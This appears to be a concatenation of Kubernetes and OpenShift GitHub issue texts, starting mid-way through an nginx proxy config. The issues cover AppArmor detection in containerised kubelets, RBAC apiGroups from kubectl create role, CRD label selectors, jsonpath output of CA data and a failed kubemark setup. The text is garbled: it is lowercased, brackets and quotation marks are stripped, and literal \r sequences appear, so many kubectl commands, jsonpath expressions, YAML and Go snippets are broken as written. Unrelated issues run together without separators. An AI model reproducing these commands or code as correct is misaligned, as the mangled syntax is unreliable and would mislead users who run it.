proxy_set_header  x-real-ip         $remote_addr;   pass on real client's ip\r         proxy_set_header  x-forwarded-for   $proxy_add_x_forwarded_for;\r         proxy_set_header  x-forwarded-proto $scheme;\r         proxy_read_timeout                  900;\r     }\r }\r    \r \r it's messy but it works.  mostly.  i copied and modified the nginx conf from the original proxy.  it seems to really struggle with big images, and i'm unclear why  it frequently freezes once all the data is uploaded/downloaded but before declaring success .  that may be a separate issue to file.

i found the pull request in openshift  https://github.com/openshift/origin/pull/8610 by @deads2k  .  i think it could be very useful if kubernetes can support it.\r \r /cc @deads2k @liggitt @smarterclayton @pweil- @kargakis \r \r

\r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r deploying kubelet in container mode with the hyperkube image leads to apparmor to be considered disabled mistakenly.\r that's due to the way which kubelet uses to check whether apparmor is enabled checks the /sys filesystem and /sbin/apparmor_parser. the /sys filesystem is mounted from host to container but apparmor_parser is neither installed in hyperkube image nor mounted. then even apparmor kernel module is enabled on the host, kubelet still reports it as disabled.\r \r   what you expected to happen  :\r kubelet deployed in container mode should report apparmor state of the host.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy kubelet in container mode with the hyperkube image\r 2. enable apparmor kernel module on the host\r 3. check apparmor state by the command:\r $ kubectl get nodes -o=jsonpath=$'{range .items   }{@.metadata.name}: {.status.conditions ? @.reason==\ kubeletready\   .message}\ {end}'\r \r   anything else we need to know?  :\r 1. i tried to install apparmor into the hyperkube image by apt-get and it got 44mb larger since a variety of dependencies were installed.\r 2. is it possible to remove the apparmor_parser check from the isapparmorenabled method?\r https://github.com/kubernetes/kubernetes/blob/master/pkg/security/apparmor/validate.go l220\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7+coreos.0\ , gitcommit:\ c8c505ee26ac3ab4d1dff506c46bc5538bc66733\ , gittreestate:\ clean\ , builddate:\ 2017-07-06t17:38:33z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7+coreos.0\ , gitcommit:\ c8c505ee26ac3ab4d1dff506c46bc5538bc66733\ , gittreestate:\ clean\ , builddate:\ 2017-07-06t17:38:33z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r 16.04.1 lts  xenial xerus \r - kernel  e.g.  uname -a  :\r 4.4.0-45-generic\r - install tools:\r kubespray\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r when kubernetes provisioning load balancer  lb  instance in one of supported cloud infrastructures, it generates name for lb using  hardcoded template  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/cloud.go l67 . sometimes it is required to limit scope of permissions for lb related actions. for example, aws permissions  elasticloadbalancing::   can be limited to a subset of lb resources instead of    . currently, there is no way to customize lb name, hence the requirement for lb related permissions require access to all lb resources.\r \r   what you expected to happen  :\r to define an annotation that will allow to define a prefix for the lb name. the prefix will replace one-letter prefix   a    that is being used by now. the prefix length can be limited  e.g. 8 symbols  and conditioned to start with letter. then the prefix can be used when defining permissions to cluster's master node.

 \r   what happened  :\r it would be great if the kubelet would expose what cri socket it's talking to in  .status.nodeinfo  for example. crisocket isn't exposed in the kubelet  componentconfiguration , so there is no actionable way to query the kubelet for what cri endpoint it's talking to.\r \r in my specific use case, i want to know the cri endpoint at the time of e.g.  kubeadm upgrade \r , while the value was only known and set as a flag at  kubeadm init  /  kubeadm join  time.\r \r i see three easy-ish possible solutions, to expose the cri endpoint in:\r  -  node.status.systeminfo.crisocket \r  -  node.status.systeminfo.crisocket \r  -  kubeletconfiguration.crisocket  /  kubeletconfiguration.cri.endpoint  /  kubeletconfiguration.cri.socket \r \r we talked about this in today's sig node meeting.\r \r   pros:  \r  - the endpoint would become discoverable today\r \r   cons:  \r  - we don't know exactly how all of the cri work will fit together end to end yet, e.g. are we gonna support multiple cri endpoints, different runtimeclasses/sandboxes etc?\r \r   what you expected to happen  :\r \r e.g. this field to be added and reconciled by the kubelet.\r    go\r // nodesysteminfo is a set of ids/uuids to uniquely identify the node.\r type nodesysteminfo struct {\r \t// machineid reported by the node. for unique machine identification\r \t// in the cluster this field is preferred. learn more from man 5 \r \t// machine-id: http://man7.org/linux/man-pages/man5/machine-id.5.html\r \tmachineid string  json:\ machineid\  protobuf:\ bytes,1,opt,name=machineid\  \r \t// systemuuid reported by the node. for unique machine identification\r \t// machineid is preferred. this field is specific to red hat hosts\r \t// https://access.redhat.com/documentation/en-us/red_hat_subscription_management/1/html/rhsm/getting-system-uuid.html\r \tsystemuuid string  json:\ systemuuid\  protobuf:\ bytes,2,opt,name=systemuuid\  \r \t// boot id reported by the node.\r \tbootid string  json:\ bootid\  protobuf:\ bytes,3,opt,name=bootid\  \r \t// kernel version reported by the node from 'uname -r'  e.g. 3.16.0-0.bpo.4-amd64 .\r \tkernelversion string  json:\ kernelversion\  protobuf:\ bytes,4,opt,name=kernelversion\  \r \t// os image reported by the node from /etc/os-release  e.g. debian gnu/linux 7  wheezy  .\r \tosimage string  json:\ osimage\  protobuf:\ bytes,5,opt,name=osimage\  \r \t// containerruntime version reported by the node through runtime remote api  e.g. docker://1.5.0 .\r \tcontainerruntimeversion string  json:\ containerruntimeversion\  protobuf:\ bytes,6,opt,name=containerruntimeversion\  \r \t// kubelet version reported by the node.\r \tkubeletversion string  json:\ kubeletversion\  protobuf:\ bytes,7,opt,name=kubeletversion\  \r \t// kubeproxy version reported by the node.\r \tkubeproxyversion string  json:\ kubeproxyversion\  protobuf:\ bytes,8,opt,name=kubeproxyversion\  \r \t// the operating system reported by the node\r \toperatingsystem string  json:\ operatingsystem\  protobuf:\ bytes,9,opt,name=operatingsystem\  \r \t// the architecture reported by the node\r \tarchitecture string  json:\ architecture\  protobuf:\ bytes,10,opt,name=architecture\  \r +        // the cri socket the kubelet is talking to\r +        crisocket string  json:\ crisocket\  protobuf:\ bytes,11,opt,name=crisocket\  \r }\r    \r @kubernetes/sig-node-proposals

currently i am finding that out of two nodes, one node is acting as master and the other one is acting as worker node. only in the worker node all the pods are getting scheduled.\r \r is there a way to use the master node as a worker node?

they should be consistent with all other commands that allow multiple arguments  since they already allow label selectors .\r \r    \r kubectl cordon foo bar baz\r    \r \r should cordon all of them, not return an error.\r \r @kubernetes/sig-cli-bugs

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r    \r kubectl create role foobar --verb=\  \  --resource=deployment --dry-run -o yaml\r    \r \r this command creates  deployment  with old  apigroups ,  extensions .\r \r   what you expected to happen  :\r \r this should have created new  apigroups ,  apps .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r when using the following imperative command:\r \r    yaml\r $ kubectl create role foobar --verb=\  \  --resource=deployment --dry-run -o yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r   creationtimestamp: null\r   name: foobar\r rules:\r - apigroups:\r   - extensions\r   resources:\r   - deployments\r   verbs:\r   - ' '\r    \r \r the  apigroups  auto created for  deployment  is  extensions , which rather should be  apps . this is causing problem with permissions later on.\r \r \r   problem due to wrong version  :\r \r here we are creating a  namespace  called  examplefoobar  with  serviceaccount   fake-user , then we create a  role   deppy  which has all permissions on resource  deployment . and then we bind it to the  serviceaccount  we created before.\r \r    bash\r kubectl create namespace examplefoobar\r kubectl create serviceaccount -n examplefoobar fake-user\r \r alias kubectl-user='kubectl --as=system:serviceaccount:examplefoobar:fake-user -n examplefoobar'\r alias kubectl-admin='kubectl -n examplefoobar'\r \r kubectl-admin create role deppy --verb=\  \  --resource=deployment\r kubectl-admin create rolebinding fake-user-deppy --role=deppy --serviceaccount=examplefoobar:fake-user\r    \r \r now the above steps should allow us to create a deployment, without any problems, but following command fails.\r \r    console\r $ kubectl-user run web --image nginx\r error from server  forbidden : deployments.apps is forbidden: user \ system:serviceaccount:examplefoobar:fake-user\  cannot create deployments.apps in the namespace \ examplefoobar\ \r    \r \r this failed because the  deployment  generated by imperative command  kubectl run ...  generated  deployment  with  apiversion   apps/v1beta1 . while the  role  had permissions on  apigroups   extensions .\r \r \r   environment  :\r \r - kubernetes version:\r \r    yaml\r $ kubectl version -o yaml\r clientversion:\r   builddate: 2018-08-07t23:17:28z\r   compiler: gc\r   gitcommit: bb9ffb1654d4a729bb4cec18ff088eacc153c239\r   gittreestate: clean\r   gitversion: v1.11.2\r   goversion: go1.10.3\r   major: \ 1\ \r   minor: \ 11\ \r   platform: linux/amd64\r serverversion:\r   builddate: 2018-09-09t17:53:03z\r   compiler: gc\r   gitcommit: a4529464e4629c21224b3d52edfe0ea91b072862\r   gittreestate: clean\r   gitversion: v1.11.3\r   goversion: go1.10.3\r   major: \ 1\ \r   minor: \ 11\ \r   platform: linux/amd64\r    \r \r - install tools:\r \r    bash\r $ minikube version\r minikube version: v0.29.0\r    \r \r - minikube start command\r \r    bash\r minikube start \\\r --kubernetes-version v1.11.3 \\\r --cpus 3 --memory 3000  \\\r --extra-config=apiserver.authorization-mode=rbac \\\r --extra-config=apiserver.enable-admission-plugins=initializers,namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,noderestriction,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota \\\r --v 10\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when starting kube-controller-manager, print err log:\r  e1010 01:26:07.612718   20946 resource_quota_controller.go:170  initial monitor sync has error: couldn't start monitor for resource {\ extensions\  \ v1beta1\  \ networkpolicies\ }: unable to monitor quota for resource \ extensions/v1beta1, resource=networkpolicies\  \r \r in code , no informers found for networkpolicies with extensions_v1beta1\r https://github.com/kubernetes/kubernetes/blob/4ba5db087a2d7af5c04c99cb99e14ae74000fcbf/staging/src/k8s.io/client-go/informers/generic.go l193-l203\r \r should we need generic informer for this??\r   what you expected to happen  :\r no err \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-controller-manager\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r replace service controller retry  logic in persistupdate  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/service_controller.go l338-l359  with retry utils from client-go\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i'm using kube 1.14.1 with ubuntu 18.10 and docker 18.09.2\r running an image with docker give me inet6 support:\r    \r docker run -it jenkins/jnlp-slave bash\r ip a\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown group default qlen 1000\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r     inet6 ::1/128 scope host \r        valid_lft forever preferred_lft forever\r    \r the same image started as a pod doesn;t have the inet6 support\r    \r kubectl exec --namespace=build  -ti jenkins-slave-4xd2c bash\r jenkins@jenkins-slave-4xd2c:~$ ip a\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown group default qlen 1000\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r    \r it used to work before upgrading ubuntu  17.10 \r i didn;t upgrade anything regarding docker or kubernetes\r thanks

we observed in an e2e that if attach is performed on a volume that was detached before from same node, sometimes the mount of the volume  for 2nd pod  could be stuck waiting on invalid devicepath in  waitforattach  call.\r \r  the problem is - when attach for second pod failed with  \ error attaching ebs volume \\\ vol-xxx\\\ \  to instance \ i-xxx\  since volume is currently attached to \ i-xxx\ ,  this caused an dangling volume error from aws cloudprovider implemented by us . the dangling volume error is supposed to auto-correct any volumes which are attached to a node that it shouldn't be. but in this case - the dangling volume error was triggered by the fact that, volume was not actually attached to the node but because  describevolume  call for 2nd attachment returned stale data  because of aws eventual consistency . \r \r so, dangling volume exception caused volume to be added to actual state of world  so as it can be detached later , but this caused volume to be reported to node's status field. and that caused second pod to assume volume as attached to invalid device path and hence 2nd pod was stuck for 10 minutes waiting for volume to attach on a device path  /dev/xvdbl  which does not exist.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :  kubectl delete  of a static pod  really the mirror pod  results in multiple attempts to re-create the mirror pod before it finally succeeds  note that in some runs it goes into running or terminating state -- it just depends upon the exact timing of the  kubectl get pod .\r note that in the below trace the pod name is elided from the  kubectl get pod  output.\r \r note that the actual static pod continues to run as normal.\r \r    \r pod \ static-test-ip-10-0-133-116.ec2.internal\  deleted\r  1: mon 17 jun 2019 10:27:28 am edt    0/2   pending   0     0s\r  2: mon 17 jun 2019 10:27:29 am edt    0/2   pending   0     1s\r  3: mon 17 jun 2019 10:27:31 am edt    0/2   pending   0     0s\r  4: mon 17 jun 2019 10:27:32 am edt    0/2   pending   0     0s\r  5: mon 17 jun 2019 10:27:33 am edt    0/2   pending   0     1s\r  6: mon 17 jun 2019 10:27:35 am edt    0/2   pending   0     0s\r  7: mon 17 jun 2019 10:27:36 am edt    2/2   running   0     0s\r  8: mon 17 jun 2019 10:27:37 am edt    2/2   running   0     1s\r  9: mon 17 jun 2019 10:27:38 am edt    2/2   running   0     3s\r 10: mon 17 jun 2019 10:27:40 am edt    2/2   running   0     4s\r 11: mon 17 jun 2019 10:27:41 am edt    2/2   running   0     5s\r 12: mon 17 jun 2019 10:27:42 am edt    2/2   running   0     7s\r 13: mon 17 jun 2019 10:27:44 am edt    2/2   running   0     8s\r 14: mon 17 jun 2019 10:27:45 am edt    2/2   running   0     9s\r 15: mon 17 jun 2019 10:27:46 am edt    2/2   running   0     11s\r 16: mon 17 jun 2019 10:27:48 am edt    2/2   running   0     12s\r    \r \r   what you expected to happen  :\r mirror pod should start without additional state transitions\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a static pod,  kubectl delete  it, and \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14/openshift 4.2  master has the same code \r - cloud provider or hardware configuration: aws  not relevant \r - os  e.g:  cat /etc/os-release  : not relevant\r - kernel  e.g.  uname -a  : not relevant\r - install tools: not relevant\r - network plugin and version  if this is a network-related bug : n/a\r - others:\r

tried to update a pod's environment and got a terrible error message.  for the \ invalid change to updated pod\  we need to not print out go formatted log, but instead something much more specific if possible.  the client almost always has their own object available.      error: pod \ database-2-kmnfk\  is invalid: spec: invalid value {volumes:<nil> containers: {name:ruby-helloworld-database image:openshift/mysql-55-centos7:latest command:<nil> args:<nil> workingdir: ports: {name: hostport:0 containerport:3306 protocol:tcp hostip:}  env: {name:mysql_user value:userbfy valuefrom:<nil>} {name:mysql_password value:tjlamiml valuefrom:<nil>} {name:mysql_database value:root valuefrom:<nil>} {name:a value:c valuefrom:<nil>}  resources:{limits:<nil> requests:<nil>} volumemounts:<nil> livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:always securitycontext:< > 0xc20af1bd40 {capabilities:< > 0xc21093a8a0 {add:<nil> drop:<nil>} privileged:< > 0xc20c10bc7a false selinuxoptions:<nil> runasuser:<nil>}}  restartpolicy:always terminationgraceperiodseconds:<nil> activedeadlineseconds:<nil> dnspolicy:clusterfirst nodeselector:map   serviceaccount: host:openshiftdev.local hostnetwork:false}

i am looking at the keystone experimental auth :  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authenticator/request/keystone/keystone.go l36-l40  and at how openstack provider is implemented :  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack.go l117-l130  the two doesn't seem to be connected which mean the user auth to your keystone but that auth is not reused for creating openstack resources  when that token could be straight used for it .  in other words being able to have the user authenticated via openstack keystone in kube and have the openstack resources  i.e: cinder for the pv driver  used in kube consumed from the authenticated user and not from a global user.

it's bad when clients take a rv from one collection  e.g. pods  and list/watch on another collection  e.g., services . it's already caused some bugs with the cacher, and if we shard storage by collection it could be a bigger disaster. therefore, we should take steps now to get clients out of the habit of doing this.  my idea is to just add some string, maybe just a letter or two, different by collection, and if we get a string that doesn't match we can reject the request or ignore the rv.  @wojtek-t @smarterclayton thoughts?

right now it appears to me that the function  testvolumeclient  doesn't log whats happening at server spin up time.  this means that when testing a volume, if the nginx part doesn't come up, we don't know why.    lets look into nginx verbosity and see if we can put more data into the rcs started in the volume   this would help with issues such as  https://github.com/openshift/origin/issues/7287

environment - 3 node kubernetes v1.2.4 cluster with ha - scheduler and controller-manager have  --leader-elect=true  - no additional pod running aside from those in the  kube-system  namespace      observed behavior -  kube-proxy  runs  iptables-save/restore  twice per second.  increasing  kube-proxy  verbosity shows that this is triggered by  onendpointsupdate   stopping all the schedulers and controller-managers, then restarting only one instance of each without  --leader-elect  stops  kube-proxy  from running  iptables  that often.

would it be possible to relax the restrictions on the labels value ?\r \r in our cloud the default availability zone is \ -\ , and the openstack provider is putting this info into a label. the kubelet then fails to register to the apiserver when validating the node descriptor.\r \r are these restrictions needed  to easily store them for example  or is it by spec only and could be relaxed ?\r i am talking values here, not the label names.\r \r if not, would you accept a patch that would ignore zone labels coming from a provider that don't match the regexp ?

can you help me ?\r \r 1. i couldn't  clearly understand what the purpose of running a kubelet in a container ？\r 2. what is the benefit of this ? \r 3. is this necessary to achieve self-hosted kubelet?

hi,\r in some hosting environments/configurations, the network traffic between pods  applications  may traverse the public internet. as a result, i'd like to secure the communication between the pods. \r \r for example, i have the following structure:\r \r - service_a - edge service in my product and provides access to my api to external users via public ip.\r - service_b and service_c - microservices that has clusterip s .\r \r as i understand i can secure traffic user<-> service_a by using ingress controller with ssl certificate.\r but how should i secure service_a<->service_b communication? create additional ingress services to wrap microservices? are there any best practices for such cases? \r \r one detail: microservices use grpc for communication\r thanks\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  make bazel-build  fails on the  release-1.6  branch, and the  bazel-build-1.6  https://k8s-testgrid.appspot.com/google-unit bazel-build-1.6  job is red.\r \r   what you expected to happen  :\r \r i would expect the bazel-build-1.6 job to be green, and that  make bazel-build  would succeed on the  release-1.6  branch  if using the correct version of bazel .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     $ git clone https://github.com/kubernetes/kubernetes.git\r     $ cd kubernetes\r     $ git checkout origin/release-1.6\r     $ make bazel-build\r \r this is failing as of commit 79cf9963f7a70f40dc29bc3bb880a57d9e3b3ce8 with the messages:\r \r     vendor/github.com/aws/aws-sdk-go/aws/request/request.go:270: undefined: nobodyreader\r     vendor/github.com/aws/aws-sdk-go/aws/request/request.go:284: undefined: nobodyreader\r     2017/08/29 16:56:25 error running compiler: exit status 1\r \r   anything else we need to know?  :\r \r all of our kubeadm e2e tests depend on the successful completion of bazel builds, since they use the  .deb  artifacts created during the bazel build. since the 1.6 bazel build has been broken, the corresponding kubeadm e2e tests haven't even been triggered since  2017-07-26  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-1-6/138 . this likely means that the recent 1.6.9 release didn't have any signal for kubeadm's health.\r \r cc @ixdy @kubernetes/sig-cluster-lifecycle-misc

for native resources, if an unknown field is specified, it will be ignored and dropped.\r \r current behaviour of custom resources: all  valid  fields are accepted and persisted. this means that custom resources do not behave like native resources now.\r \r this can be fixed by mentioning fields in the  properties  construct of the crd validation schema. new fields which are not specified here will be stripped.\r \r as discussed in the sig api-machinery meeting:\r \r - we add this to beta but this will be off by default. we warn when objects will be stripped.\r \r - for ga, flip default to on.\r \r note:  additionalproperties  will not be allowed to set to false and we will not allow it to be set a schema. it will always be set to true. see discussion in https://github.com/kubernetes/kubernetes/pull/58746.\r \r  /area custom-resources\r  /assign\r \r /cc @sttts @deads2k @liggitt @ash2k @mbohlool @lavalamp @jennybuckley @munnerz @colemickens @frankgreco

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when listing a namespaced crd with a valid label selector no results are returned\r \r   what you expected to happen  :\r \r results returned\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a namespaced crd.\r 2. create a resource with that crd with labels\r 3. list the resources with a valid label selector\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r  client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r \r   test resources  :\r \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: volumes.sandwichcloud.com\r spec:\r   group: sandwichcloud.com\r   names:\r     kind: volume\r     listkind: volumelist\r     plural: volumes\r     singular: volume\r   scope: namespaced\r   version: v1alpha1\r ---\r apiversion: sandwichcloud.com/v1alpha1\r kind: volume\r metadata:\r   finalizers:\r   - delete.sandwichcloud.com\r   labels:\r     sandwichcloud.com/attached_to: null\r     sandwichcloud.com/id: 9f52f5b2-559a-475e-95f1-c7b8f0067116\r     sandwichcloud.com/name: vol1\r     sandwichcloud.com/region: e7444046-fc8b-4c40-81e2-357a5c80168a\r     sandwichcloud.com/zone: 88f97cb1-6375-4a13-b9ea-bfd013a33bbd\r   name: 9f52f5b2-559a-475e-95f1-c7b8f0067116\r spec:\r   backingid: 892a404d-60f8-4263-9c5a-5eb45906eb06\r   clonedfrom: null\r   size: 10\r status:\r   errormessage: \ \ \r   state: created\r   task:\r     kwargs: {}\r     name: null\r    \r \r run  kubectl get volumes -l sandwichcloud.com/name=vol1  and it will return no results.\r \r    \r i0206 19:26:04.343321   11513 loader.go:357  config loaded from file kubeconfig.yml\r i0206 19:26:04.365620   11513 round_trippers.go:417  curl -k -v -xget  -h \ accept: application/json\  -h \ user-agent: kubectl/v1.9.2  linux/amd64  kubernetes/5fa2db2\  http://localhost:8081/apis/sandwichcloud.com/v1alpha1/namespaces/e7a3017c-36fb-466f-97f6-d7079b31e5aa/volumes?labelselector=sandwichcloud.com%2fname%3dvol1&limit=500\r i0206 19:26:04.375805   11513 round_trippers.go:436  get http://localhost:8081/apis/sandwichcloud.com/v1alpha1/namespaces/e7a3017c-36fb-466f-97f6-d7079b31e5aa/volumes?labelselector=sandwichcloud.com%2fname%3dvol1&limit=500 200 ok in 7 milliseconds\r i0206 19:26:04.377152   11513 round_trippers.go:442  response headers:\r i0206 19:26:04.377662   11513 round_trippers.go:445      content-type: application/json\r i0206 19:26:04.378014   11513 round_trippers.go:445      date: wed, 07 feb 2018 01:26:04 gmt\r i0206 19:26:04.378400   11513 round_trippers.go:445      content-length: 229\r i0206 19:26:04.379130   11513 request.go:873  response body: {\ apiversion\ :\ sandwichcloud.com/v1alpha1\ ,\ items\ :  ,\ kind\ :\ volumelist\ ,\ metadata\ :{\ continue\ :\ \ ,\ resourceversion\ :\ 2574\ ,\ selflink\ :\ /apis/sandwichcloud.com/v1alpha1/namespaces/e7a3017c-36fb-466f-97f6-d7079b31e5aa/volumes\ }}\r no resources found.\r

 \r   what happened  :\r \r tried to extract raw ca data  base64 encoded  using jsonpath. i got  what appears to be  the json representation of an    byte .\r \r    \r $ kubectl config view --raw -o jsonpath='{.clusters 0 .cluster.certificate-authority-data}'\r \r  45 45 45 45 45 66 69 71 73 78 32 ... \r    \r \r   what you expected to happen  :\r \r i expected to get a base64 encoded string of the ca data, like:\r \r    \r ls0tls1crudjtibd...\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r 1.  kubectl config view --raw  shows the value as b64 encoded correctly:\r \r        yaml\r     apiversion: v1\r     clusters:\r     - cluster:\r         certificate-authority-data: ls0tls1crudjtibd...\r        \r \r 1. it works with  -json  and  jq   at the expense of introducing jq :\r \r        \r     $ kubectl config view --raw -o json | jq '-r .clusters 0 .cluster.\ certificate-authority-data\ '\r     ls0tls1crudjtibd...\r        \r \r   environment  :\r \r - kubernetes version  use  kubectl version  : \r \r        \r     client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t15:22:13z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.2-gke.3\ , gitcommit:\ d2c7a2bd41036f9474287579a725dc54c904e92d\ , gittreestate:\ clean\ , builddate:\ 2018-05-23t00:19:39z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : darwin, but also reproduced on debian 9\r - kernel  e.g.  uname -a  : darwin kernel version 17.6.0\r \r  

leeivan@kube-dev:~/gowork/src/k8s.io/kubernetes$ kube_gce_network=default kubemark_num_nodes=25 ./test/kubemark/start-kubemark.sh\r starting setup for master\r created the environment file for master.\r created  https://www.googleapis.com/compute/v1/projects/kube-e2e-mark/zones/us-central1-b/disks/kubernetes-kubemark-master-pd .\r name                           zone           size_gb  type    status\r kubernetes-kubemark-master-pd  us-central1-b  20       pd-ssd  ready\r \r new disks are unformatted. you must format and mount a disk before it\r can be used. you can find instructions on how to do this at:\r \r https://cloud.google.com/compute/docs/disks/add-persistent-disk formatting\r \r succeeded to gcloud compute disks.\r created  https://www.googleapis.com/compute/v1/projects/kube-e2e-mark/regions/us-central1/addresses/kubernetes-kubemark-master-ip .\r succeeded to gcloud compute addresses.\r warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r created  https://www.googleapis.com/compute/v1/projects/kube-e2e-mark/zones/us-central1-b/instances/kubernetes-kubemark-master .\r warning: some requests generated warnings:\r  - the resource 'projects/cos-cloud/global/images/cos-stable-65-10323-64-0' is deprecated. a suggested replacement is 'projects/cos-cloud/global/images/cos-stable-65-10323-69-0'.\r \r name                        zone           machine_type   preemptible  internal_ip  external_ip    status\r kubernetes-kubemark-master  us-central1-b  n1-standard-4               10.128.0.5   35.202.251.25  running\r succeeded to gcloud compute instances.\r updated  https://www.googleapis.com/compute/v1/projects/kube-e2e-mark/zones/us-central1-b/instances/kubernetes-kubemark-master .\r succeeded to gcloud compute instances.\r creating firewall...\r ...........created  https://www.googleapis.com/compute/v1/projects/kube-e2e-mark/global/firewalls/kubernetes-kubemark-master-https .\r done.\r name                              network  direction  priority  allow    deny\r kubernetes-kubemark-master-https  default  ingress    1000      tcp:443\r succeeded to gcloud compute firewall-rules.\r generating certs for alternate-names: ip:35.202.251.25,ip:10.0.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local,dns:kubernetes-kubemark-master\r generated pki authentication data for kubemark.\r warning: permanently added 'compute.5090239621903501962'  rsa  to the list of known hosts.\r succeeded to gcloud compute ssh.\r checked master reachability for remote command execution.\r succeeded to gcloud compute ssh.\r wrote pki certs, keys, tokens and admin password to master.\r kubeconfig file for kubemark master written to /home/leeivan/gowork/src/k8s.io/kubernetes/test/kubemark/resources/kubeconfig.kubemark.\r packet_write_wait: connection to 35.202.251.25 port 22: broken pipe\r lost connection\r error:  gcloud.compute.scp   /usr/bin/scp  exited with return code  1 .\r attempt 1 failed to gcloud compute scp. retrying.\r packet_write_wait: connection to 35.202.251.25 port 22: broken pipe\r lost connection\r error:  gcloud.compute.scp   /usr/bin/scp  exited with return code  1 .\r attempt 2 failed to gcloud compute scp. retrying.\r error:  gcloud.compute.scp \r this may be due to network connectivity issues. please check your network settings, and the status of the service you are trying to reach.\r attempt 3 failed to gcloud compute scp. retrying.\r failed to gcloud compute scp.\r \r  

